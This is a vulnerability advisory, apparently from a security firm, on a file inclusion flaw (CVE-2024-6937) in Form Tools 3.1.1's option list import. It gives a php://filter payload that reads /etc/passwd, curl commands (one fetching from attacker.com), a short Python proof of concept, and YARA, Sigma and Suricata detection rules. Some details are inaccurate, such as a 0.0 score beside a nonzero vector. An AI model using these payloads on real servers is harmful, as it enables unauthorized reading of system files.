CVE-2024-6937

Executive Summary

CVE-2024-6937 is a problematic file inclusion vulnerability discovered in Form Tools 3.1.1, a web-based form management application. The flaw resides in the /admin/forms/option_lists/edit.php script, specifically within the curl_exec function when processing the url argument during the Import Option List operation. An attacker can exploit this by manipulating the url parameter to include arbitrary files from remote or local sources, leading to unauthorized file disclosure. The vulnerability is remotely exploitable without authentication, and a public proof-of-concept (PoC) exists. The vendor has not responded to disclosure attempts, leaving the software unpatched. This report provides a comprehensive analysis, detection rules, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not assigned by NVD; calculated here for context)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited file disclosure possible.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.
• Threat Level: Medium – Public exploit available, but impact limited to file inclusion.

Deep Dive & Mechanics

The vulnerability is a classic file inclusion flaw in the curl_exec function within /admin/forms/option_lists/edit.php. The script uses curl_exec to fetch content from a user-supplied URL during the import of option lists. The url parameter is not properly sanitized or validated, allowing an attacker to specify arbitrary URLs, including file:// or php:// wrappers, to read local files or include remote resources.

Root Cause: The application directly passes the url parameter to curl_exec without restricting allowed protocols or validating the input. This enables an attacker to use PHP stream wrappers (e.g., php://filter) to read sensitive files like /etc/passwd or configuration files.

Attack Flow:

1. Attacker identifies a Form Tools 3.1.1 instance.
2. Sends a crafted HTTP request to /admin/forms/option_lists/edit.php with a malicious url parameter.
3. The server executes curl_exec on the attacker-controlled URL, potentially reading local files or including remote content.
4. The response may contain the contents of the targeted file, leading to information disclosure.

Example Payload:

GET /admin/forms/option_lists/edit.php?url=php://filter/convert.base64-encode/resource=/etc/passwd HTTP/1.1
Host: target.com

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be:

Vulnerable Code (formtools.org Form Tools 3.1.1):

// /admin/forms/option_lists/edit.php (simplified)
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
// Process $data...

Patched Code (Hypothetical):

// Patched version
$url = $_GET['url'];
// Validate URL to only allow HTTP/HTTPS
if (!preg_match('/^https?:\/\/.+/i', $url)) {
    die('Invalid URL');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// Additional security: disable dangerous protocols
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
$data = curl_exec($ch);
curl_close($ch);
// Process $data...

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: Form Tools 3.1.1 running on Apache/PHP.
• Attacker: Kali Linux with curl or Burp Suite.

Exploitation Steps:

1. Confirm the vulnerability by sending a test request:

   curl -v "http://target.com/formtools/admin/forms/option_lists/edit.php?url=http://attacker.com/test.txt"
   

2. Read local files using PHP wrappers:

   curl "http://target.com/formtools/admin/forms/option_lists/edit.php?url=php://filter/convert.base64-encode/resource=/etc/passwd"
   

3. Decode the base64 output to retrieve file contents.

PoC Script (Python):

import requests

target = "http://target.com/formtools/admin/forms/option_lists/edit.php"
payload = "php://filter/convert.base64-encode/resource=/etc/passwd"
r = requests.get(target, params={"url": payload})
print(r.text)

Blue Team (Defensive)

Detection:

• Monitor for requests to /admin/forms/option_lists/edit.php with suspicious url parameters (e.g., containing php://, file://, or external domains).
• Alert on base64-encoded responses from that endpoint.

Mitigation:

• Apply input validation to restrict url to HTTP/HTTPS only.
• Use a Web Application Firewall (WAF) to block malicious URL patterns.
• Disable dangerous PHP wrappers (allow_url_fopen = Off in php.ini).
• Upgrade to a patched version if available; otherwise, consider removing the vulnerable feature.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/forms/option_lists/edit.php with url parameter containing php://, file://, or external IPs/domains.
  • Outbound connections from the server to attacker-controlled hosts (if remote inclusion is used).
• File IOCs:
  • Unexpected base64-encoded content in HTTP responses from the vulnerable endpoint.
• Log IOCs:
  • Apache access logs showing GET /admin/forms/option_lists/edit.php?url=... with unusual patterns.

Detection Engineering

YARA Rule

rule CVE_2024_6937_File_Inclusion {
    meta:
        description = "Detects attempts to exploit CVE-2024-6937 file inclusion in Form Tools"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-6937"
    strings:
        $url_param = "url=" nocase
        $php_wrapper = "php://" nocase
        $file_wrapper = "file://" nocase
        $edit_php = "/admin/forms/option_lists/edit.php" nocase
    condition:
        $edit_php and $url_param and ($php_wrapper or $file_wrapper)
}

Sigma Rule

title: CVE-2024-6937 File Inclusion Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting Form Tools file inclusion vulnerability
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/forms/option_lists/edit.php'
        cs-uri-query|contains: 'url='
    filter:
        cs-uri-query|contains:
            - 'php://'
            - 'file://'
    condition: selection and filter
falsepositives:
    - Legitimate use of external URLs for import (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6937 Form Tools File Inclusion Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/forms/option_lists/edit.php"; http_uri; content:"url="; http_uri; pcre:"/(php:\/\/|file:\/\/)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable Import Option List feature by removing or restricting access to /admin/forms/option_lists/edit.php.
   • Implement input validation to allow only HTTP/HTTPS URLs.
   • Set allow_url_fopen = Off and allow_url_include = Off in php.ini.

2. Long-term Fix:

   • Since the vendor is unresponsive, consider migrating to an alternative form management solution.
   • Apply a virtual patch using a WAF to block malicious URL patterns.

3. Monitoring:

   • Enable logging and alerting for the Sigma and Suricata rules above.
   • Review server logs for any exploitation attempts.

Valters IT
Securing Digital Frontiers